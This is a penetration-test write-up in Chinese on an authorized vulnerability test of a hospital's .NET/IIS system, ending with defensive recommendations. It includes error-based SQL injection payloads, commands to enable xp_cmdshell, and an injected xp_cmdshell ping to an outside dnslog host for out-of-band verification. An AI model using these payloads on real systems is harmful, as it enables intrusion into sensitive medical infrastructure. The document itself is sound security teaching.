一次授权的未授权漏洞验证测试
字数 1083 2025-08-11 08:36:33
医院系统授权渗透测试实战教学文档
0x01 测试背景与目标
- 测试类型:授权漏洞验证测试
- 目标系统:某医院信息系统
- 提供信息:
- 远程桌面连接地址
- 被测系统URL
- 密码待申请
0x02 信息收集阶段
初始信息收集结果
-
技术栈信息:
- .NET开发系统
- IIS中间件框架
- Windows Server服务器
-
端口与服务:
- 开放数据库端口1433 (SQL Server)
-
安全缺陷:
- 存在用户名枚举问题
- 无验证码机制
信息收集方法
-
框架识别:
- 通过HTTP响应头、页面特征识别.NET和IIS
-
端口扫描:
- 发现1433端口开放,确认SQL Server数据库
-
目录爆破:
- 使用DirBuster尝试爆破ueditor富文本编辑器路径
- 使用Tide知识星球提供的攻防演练字典
0x03 漏洞验证过程
初始攻击尝试
-
口令猜解:
- Web应用和SQL Server数据库口令猜解未成功
-
中间件测试:
- OPTIONS请求测试PUT方法(未开启)
- 检查中间件版本(不可利用)
关键发现
-
目录浏览漏洞:
- 发现IIS目录浏览问题
- 下载hisxxxx.bak备份文件
-
备份文件分析:
- 发现web.config文件包含加密数据库连接串
- 发现其他系统URL(存在未授权访问漏洞嫌疑)
SQL注入攻击
-
注入点发现:
- 通过功能页面找到查询接口
- sqlmap使用失败转手动注入
-
注入技术细节:
- 简单URL编码绕过400错误
- 使用报错注入技术
-
注入语句示例:
1' or @@version>0-- # 获取数据库版本 1' or User_Name()>0-- # 获取当前用户 1' or db_name()>0-- # 获取当前数据库名 -
权限提升尝试:
- 尝试开启xp_cmdshell执行系统命令:
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC sp_configure 'show advanced options', 1;- 尝试DNS外带验证:
' ;exec master..xp_cmdshell "ping ph3owt.dnslog.cn -n 2" --
突破点发现
-
源码审计:
- 检查JS、CSS等静态资源文件
- 在不起眼页面发现注释的数据库连接信息
-
关键信息:
- 明文数据库用户名密码
- 可直接连接数据库
0x04 攻击总结与经验
-
现代防御趋势:
- 常规弱口令、文件上传漏洞减少
- 需要更细致的测试方法
-
关键测试点:
- 备份文件(.bak, .zip等)
- 配置文件(web.config等)
- 静态资源(JS/CSS中的注释)
- 隐藏接口和页面
-
测试方法论:
- 信息收集要全面
- 不要忽视任何细节
- 工具失败时转手动测试
- 保持耐心和细致
0x05 防御建议
-
安全配置:
- 禁用IIS目录浏览
- 关闭不必要的数据库功能(xp_cmdshell)
-
代码安全:
- 移除生产环境中的调试信息和注释
- 对配置文件进行加密
-
备份管理:
- 避免备份文件可被直接下载
- 定期清理测试文件
-
输入验证:
- 实施严格的输入过滤
- 使用参数化查询防止SQL注入
-
权限控制:
- 最小权限原则
- 数据库账户不应使用高权限角色